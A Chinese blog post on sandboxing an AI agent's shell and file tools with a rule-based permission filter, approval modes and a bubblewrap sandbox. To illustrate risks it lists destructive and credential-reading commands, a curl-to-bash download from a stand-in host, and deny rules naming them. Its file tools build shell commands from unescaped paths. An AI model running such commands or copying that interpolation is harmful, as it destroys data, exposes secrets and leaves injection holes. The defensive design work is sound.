记录一下练手的 Express.js + Vercel AI SDK 的 AI Agent 项目。这篇文章是关于如何构建双层沙箱防护体系,让 AI 安全地执行 Shell 命令和文件操作。
1. 引言:AI Agent 的安全困境
让 AI Agent 执行 Shell 命令不难,难的是确保它不会"闯祸"。一个没有约束的 AI Agent 可能带来的风险包括:
- 破坏性操作 :
rm -rf /、mkfs.ext4 /dev/sda直接摧毁系统 - 权限滥用 :
sudo提权、chmod 777打开安全漏洞 - 数据泄露 :读取
~/.ssh/id_rsa、.env中的 API Key - 远程下载执行 :
curl http://evil.sh | bash植入恶意脚本
直接不给执行权限,Agent 就变成了"只会说话的玩具"。给太多权限,又等于把服务器钥匙交给了不可预测的 LLM。
这个项目的核心设计哲学是:与其信任 AI,不如约束 AI 。采用双层防护架构------应用层权限过滤 控制"能不能做",系统层沙箱隔离兜底"出问题的影响范围"。
整体架构如下:
scss
用户发送聊天请求 (携带 mode 参数)
│
▼
┌───────────────────────────────────────┐
│ 第一层:应用层权限过滤 │
│ │
│ ┌─────────────────────────────────┐ │
│ │ checkPermission 评估引擎 │ │
│ │ ├─ 45 条内置 deny 规则 │ │
│ │ ├─ 4 种 Chat Mode 策略 │ │
│ │ └─ Human-in-the-Loop 审批 │ │
│ └──────────┬──────────────────────┘ │
│ │ deny / ask │
│ ▼ │
│ ┌─────────────────────────────────┐ │
│ │ 工具双检机制 (double-check) │ │
│ │ needsApproval → execute │ │
│ └─────────────────────────────────┘ │
└──────────────┬────────────────────────┘
│ 通过
▼
┌───────────────────────────────────────┐
│ 第二层:系统层沙箱隔离 │
│ │
│ ┌─────────────────────────────────┐ │
│ │ bubblewrap 内核命名空间隔离 │ │
│ │ ├─ 文件系统访问限制 │ │
│ │ ├─ 网络域名白/黑名单 │ │
│ │ ├─ 写保护 (env/pem/key) │ │
│ │ └─ 符号链接逃逸防护 │ │
│ └─────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────┐ │
│ │ spawn 子进程执行 │ │
│ │ 超时控制 + shell 模式 │ │
│ └─────────────────────────────────┘ │
└───────────────────────────────────────┘
2. 第一层:应用层权限过滤引擎
这是第一道防线。在工具执行之前,先通过声明式规则和模式策略进行评估。
2.1 声明式规则定义
权限规则的核心是一个简单的接口:
typescript
export type PermissionBehavior = 'allow' | 'deny' | 'ask';
export interface PermissionRule {
tool: string; // 工具名称,如 runCommand、editFile
behavior: PermissionBehavior; // 允许/拒绝/审批
path: string | null; // 路径正则匹配
content: string | null; // 命令内容正则匹配
}
每条规则声明一个特定的匹配条件:当某工具调用时,如果它的内容(命令文本)或路径匹配规则中的正则表达式,就触发对应的行为。
项目内置了 45 条 deny 规则,覆盖了最常见的危险操作:
typescript
export const permissionRules: PermissionRule[] = [
// 危险删除
{ tool: 'runCommand', behavior: 'deny', content: 'rm -rf', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'rm -r', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'rm -f', path: null },
// 权限提升
{ tool: 'runCommand', behavior: 'deny', content: 'sudo', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'su ', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'chmod 777', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'chown -r', path: null },
// 远程下载执行
{ tool: 'runCommand', behavior: 'deny', content: 'curl.*\\|.*sh', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'wget.*\\|.*sh', path: null },
// 系统破坏
{ tool: 'runCommand', behavior: 'deny', content: 'mkfs', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'reboot', path: null },
{ tool: 'runCommand', behavior: 'deny', content: 'shutdown', path: null },
// ... 更多规则
];
2.2 五步评估流程
checkPermission 函数是权限引擎的核心。它接收工具名、上下文(命令/path)和模式,返回一个决策结果:
kotlin
checkPermission(tool, { command, path }, mode)
│
├─ Step 1: 过滤匹配规则
│ 遍历所有规则,筛选出 tool 名称匹配,
│ 且 content 正则匹配 command、path 正则匹配 path 的规则
│
├─ Step 2: deny 规则检查 (最高优先级)
│ 有 deny 规则匹配?──→ 立即 return 'deny'
│
├─ Step 3: 模式 (Mode) 检查
│ 根据当前模式调整策略:
│
│ mode = 'plan'
│ ├─ 写操作 (WRITE_TOOLS) ──→ 'deny'
│ └─ 外部 API (EXTERNAL_API_TOOLS) ──→ 'deny'
│
│ mode = 'auto'
│ ├─ 写操作 ──→ 'deny'
│ └─ 读操作 (READ_ONLY_TOOLS) ──→ 'allow'
│
│ mode = 'yolo' ──→ return 'allow' (无条件放行)
│
├─ Step 4: allow 规则检查
│ 有 allow 规则匹配?──→ return 'allow'
│
└─ Step 5: 默认兜底
├─ default/plan 模式 → return 'ask' (需审批)
└─ auto 模式 → return 'allow'
这个流程的关键设计点是 优先级策略 :deny > mode > allow > ask。即使某个操作被 allow 规则匹配,只要 mode 策略中明确 deny,仍然优先拒绝。这确保了安全策略不可绕过。
2.3 四种模式:从谨慎到信任的谱系
| 模式 | 读操作 | 写操作 | 外部 API | 无匹配时默认值 | 适用场景 |
|---|---|---|---|---|---|
| default | 需审批 | 需审批 | 需审批 | 需审批 | 默认,最安全 |
| plan | 需审批 | 拒绝 | 拒绝 | 需审批 | 计划阶段,只读探索 |
| auto | 允许 | 拒绝 | 需审批 | 允许 | 自动执行,安全可控 |
| yolo | 允许 | 允许 | 允许 | 允许 | 完全信任,无限制 |
模式通过请求体中的 metadata.mode 传入:
json
{
"prompt": "帮我创建一个 React 组件",
"metadata": { "mode": "yolo" }
}
值得注意的是 plan 模式:这是项目中的一个创新设计。在 Agent 的"计划阶段",写操作和外部 API 调用被直接拒绝,Agent 只能读文件、探索目录。这防止了 Agent 在制定计划时"边想边做",确保计划阶段的纯只读安全。
2.4 工具双检机制
每个工具都实现了两层安全回调------needsApproval 和 execute,它们独立调用 checkPermission:
typescript
editFile: tool({
description: '修改文件中的文本',
inputSchema: editFileOptionsSchema,
// 第一检:是否需要前端审批
needsApproval: async ({ path }, options) => {
const ctx = options.experimental_context as { metadata?: Metadata };
const mode = ctx?.metadata?.mode ?? 'default';
const permission = checkPermission('editFile', { path }, mode);
return permission === 'ask';
},
// 第二检:执行时再次验证
execute: async function* (input, options) {
const mode = options.experimental_context.metadata?.mode ?? 'default';
const permission = checkPermission('editFile', { path: input.path }, mode);
if (permission === 'deny') {
yield { stdout: '', stderr: '该文件无法编辑,因为被禁止了', exitCode: 1 };
return;
}
// 继续沙箱操作...
},
}),
为什么需要双检?needsApproval 决定前端是否展示审批对话框,它返回 true 时,AI SDK 暂停执行等待用户确认。但用户可能在等待期间切换模式,所以 execute 必须重新校验。这个防御性设计确保执行时刻的安全状态一定是最新的。
3. Human-in-the-Loop:可控的审批流
当 checkPermission 返回 'ask' 时,系统进入 Human-in-the-Loop 审批流程。这是让 AI Agent 安全可用的关键。
bash
Agent 决定调用 editFile
│
▼
needsApproval 回调返回 true
│
▼
AI SDK 暂停执行循环
│
▼
前端消息卡片展示工具详情
┌────────────────────────────────┐
│ 🤖 Agent 想要: │
│ │
│ 编辑文件: src/hello.ts │
│ 搜索: "World" │
│ 替换: "AI Agent" │
│ │
│ [ ✓ 批准 ] [ ✗ 拒绝 ] │
└────────────────────────────────┘
│
┌───┴───┐
│ │
批准 拒绝
│ │
▼ ▼
execute 返回错误信息
继续执行 "操作已被用户拒绝"
│ │
▼ ▼
Agent 继续 Agent 跳过该操作
(且不能重试)
这个流程有两个关键约束:
- 审批只针对当前工具调用,不是全局授权。每次危险操作都需要确认。
- 拒绝后不能重试。系统提示词明确约束 Agent:
vbnet
When a tool execution is rejected by the user,
do not retry or ask again --- just inform the user
the operation was not performed.
这防止了 Agent "坚持不懈"地骚扰用户同意。拒绝就是最终决定。
4. 第二层:系统级沙箱隔离
应用层过滤通过后,命令进入第二道防线------系统级沙箱。这里使用 @anthropic-ai/sandbox-runtime 库(基于 bubblewrap,底层是 Linux 内核命名空间)实现真正的进程隔离。
4.1 沙箱配置
沙箱在 apps/api/src/sandbox/index.ts 中初始化:
typescript
const rootDir = path.resolve(os.homedir(), env.SANDBOX_DIR);
const agentsDir = path.resolve(os.homedir(), env.AGENTS_DIR);
const config = {
network: {
allowedDomains: ['*'], // 默认允许所有
deniedDomains: [], // 域名黑名单
},
enableWeakerNetworkIsolation: true,
mandatoryDenySearchDepth: 10, // 符号链接搜索深度上限
filesystem: {
denyRead: ['~/.ssh'], // 禁止读取 SSH 密钥目录
allowRead: [rootDir, agentsDir], // 只允许读沙箱和 agents 目录
allowWrite: [rootDir, '/tmp'], // 只允许写入沙箱和 tmp
denyWrite: ['.env', '.env.*', '*.pem', '*.key'], // 写保护
},
};
关键防护点:
- 文件系统隔离 :AI 只能访问
~/.ai-sdk-demo-sandbox和~/.agents/skills两个目录,无法触及系统关键路径 - 写保护 :即使有人绕过应用层过滤,沙箱层仍然阻止覆盖
.env、*.pem、*.key等敏感文件 - 符号链接逃逸防护 :
mandatoryDenySearchDepth: 10限制符号链接的解析深度,防止通过创建符号链接跳出沙箱目录 - 网络隔离:通过域名黑白名单控制 AI 能访问的外部服务
4.2 命令执行数据流
所有文件操作和命令执行最终都通过 runSandboxedCommand 函数:
php
tool.execute 调用 runSandboxedCommand("ls -la /some/path")
│
├─ SANDBOX_ENABLED = true
│ │
│ ├─ SandboxManager.wrapWithSandbox("ls -la /some/path")
│ │ 将裸命令包装为 bubblewrap 容器命令
│ │
│ ├─ spawn(包装命令, {
│ │ shell: true,
│ │ cwd: sandboxDir,
│ │ timeout: SANDBOX_TIMEOUT,
│ │ })
│ │ 在内核隔离的子进程中执行
│ │
│ ├─ AsyncGenerator 实时 yield stdout/stderr
│ │
│ └─ finally: SandboxManager.cleanupAfterCommand()
│ 清理沙箱代理状态
│
└─ SANDBOX_ENABLED = false
│
├─ spawn("ls -la /some/path", {
│ shell: true,
│ cwd: sandboxDir,
│ timeout: SANDBOX_TIMEOUT,
│ })
│
└─ 直接执行(开发调试模式)
注意到外层文件操作(如 readFile)也是通过封装 Shell 命令实现的:
typescript
// 读取文件 → dd 命令
runSandboxedCommand(`dd if=${path} bs=1 skip=${skipChars} count=${countChars} status=none`);
// 编辑文件 → node -e 内联脚本
runSandboxedCommand(`SEARCH_TEXT='...' REPLACE_TEXT='...' node -e "
const fs = require('fs');
const content = fs.readFileSync('${filePath}', 'utf8');
...
"`);
// 列出目录 → ls 命令
runSandboxedCommand(`ls -la ${path}`);
所有文件操作都经过沙箱包装,意味着文件系统限制、写保护、符号链接防护对所有操作生效,不仅限于 Shell 命令。
4.3 流式输出处理
沙箱执行采用 AsyncGenerator 模式,实时将子进程的 stdout/stderr 流式输出给调用方:
typescript
async function* spawnAndStream(child, stdoutChunks, stderrChunks) {
// 并发处理 stdout 和 stderr 流
const controllers = [
async function* () {
for await (const chunk of child.stdout) {
const str = chunk.toString();
stdoutChunks.push(str);
yield { stdout: str, stderr: '' };
}
}(),
async function* () {
for await (const chunk of child.stderr) {
const str = chunk.toString();
stderrChunks.push(str);
yield { stdout: '', stderr: str };
}
}(),
];
for (const controller of controllers) {
yield* controller;
}
const exitCode = await new Promise((resolve) => {
child.on('close', (code) => resolve(code ?? -1));
child.on('error', () => resolve(-1));
});
return { stdout: stdoutChunks.join(''), stderr: stderrChunks.join(''), exitCode };
}
这个模式的优势是:AI SDK 可以在命令执行过程中实时收到输出,而不必等待命令完全结束。对于长时间运行的命令,用户能即时看到进度。最终返回完整输出让 AI 做后续判断。
5. 配套安全机制
5.1 大输出持久化
AI 的上下文窗口有限,一个 ls -la 返回上万行内容就能撑爆上下文。项目实现了输出持久化机制:
typescript
// 输出超过 30KB 时自动落盘
if (result.stdout.length > env.TOOL_OUTPUT_PERSIST_THRESHOLD) {
const { content, persistedFile } = await persistToolOutput(result.stdout);
result.stdout = content; // 替换为预览文本
result.persistedFiles = [persistedFile]; // 携带文件路径引用
}
AI 收到的结果是预览(前 2000 字符)+ 文件路径的提示。如果 AI 需要完整内容,可以再次调用 readFile 读取该文件。这个机制间接也是一个安全措施------防止大输出隐藏恶意内容。
5.2 Fail-Fast 环境校验
所有沙箱配置在项目启动时通过 Zod Schema 校验,缺失关键变量直接阻止启动:
typescript
export const envSchema = z.object({
SANDBOX_ENABLED: envBool(false).describe('是否启用沙箱'),
SANDBOX_TIMEOUT: z.coerce.number().default(10000),
SANDBOX_DIR: z.string().default('.ai-sdk-demo-sandbox'),
SANDBOX_ALLOWED_DOMAINS: z.string().default('*'),
SANDBOX_DENIED_DOMAINS: z.string().default(''),
// ...
});
特别注意:SANDBOX_ENABLED 默认为 false,需要显式设置为 true 才能启用沙箱。这避免开发者在不知情的情况下以为自己有沙箱保护。
5.3 Docker 部署的沙箱兼容
在 Docker 环境中运行沙箱需要额外权限,因为 bubblewrap 操作内核命名空间:
dockerfile
# Dockerfile
FROM node:23-alpine
RUN apk add --no-cache bash ripgrep bubblewrap socat
COPY --from=builder /app/dist ./dist
CMD ["node", "dist/index.js"]
bash
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN -p 3000:3000 your-image
这是整个系统中"安全性和便利性"权衡最明显的例子:沙箱隔离需要额外的容器权限,但这个权限本身也是一种风险。项目选择在文档中明确标注这一点,让部署者自行评估。
6. 架构总览与设计要点
scss
┌─────────────────────────┐
│ 用户 (前端 Vue 3) │
│ metadata: { mode } │
└───────────┬─────────────┘
│ POST /api/chat/
▼
┌─────────────────────────┐
│ chat.controller.ts │
└───────────┬─────────────┘
▼
┌─────────────────────────┐
│ chat.service.ts │
│ 提取 metadata │
└───────────┬─────────────┘
▼
┌─────────────────────────┐
│ chat.agent.ts │
│ (ToolLoopAgent) │
│ │
│ prepareCall: 注入 │
│ experimental_context │
│ ↓ { chatId, metadata } │
│ │
│ tools.needsApproval │
│ → checkPermission() │
│ │
│ tools.execute │
│ → checkPermission() │ ← 第一层:应用层过滤
│ → runSandboxedCommand() │
└───────────┬─────────────┘
│
▼
┌─────────────────────────┐
│ sandbox/index.ts │
│ │
│ SandboxManager │
│ .wrapWithSandbox() │ ← 第二层:内核隔离
│ │
│ spawn + shell: true │
│ cwd: sandboxDir │
│ timeout: 10000ms │
│ │
│ AsyncGenerator yield │
│ stdout/stderr chunks │
└─────────────────────────┘
设计原则总结
| 原则 | 体现 |
|---|---|
| 纵深防御 (Defense in Depth) | 应用层规则 + 系统层沙箱,双层互不依赖 |
| 最小权限 (Least Privilege) | 默认 ask,显式放开才能执行 |
| Fail-Safe 默认安全 | deny > allow 优先级策略 |
| 显式信任 (Explicit Trust) | yolo 模式需要用户主动选择 |
| 可审计 (Auditability) | 规则声明式定义,所有操作都有日志 |
7. 总结
AI Agent 的安全不是一个"开或关"的问题,而是一个渐进的信任谱系。这个项目的双层沙箱设计给出了一个务实的答案:
- 声明式规则让安全策略可读、可审计、可扩展。45 条内置规则覆盖了绝大多数已知风险场景。
- 四种模式让用户从"锁死"到"放行"之间有四个刻度可选,而不是只有 0 和 1。
- Human-in-the-Loop 在最不确定的环节引入人类判断,AI 负责执行,人负责把关。
- 内核级沙箱兜底未知风险,即使应用层规则被绕过,bubblewrap 隔离仍然能限制破坏范围。
安全设计的本质不是"构建一个无法被攻破的系统",而是让攻击的成本远高于收益。这个项目的两层防护,每一层都让攻击者多付出一个数量级的成本------对于绝大多数场景,这已经足够。
关联阅读 :手写一个 AI Agent 全栈项目:从沙箱执行到子智能体的完整实现 --- 本文是该项目架构概览的姊妹篇,介绍了整体技术栈、子智能体、Skills 动态加载等核心功能。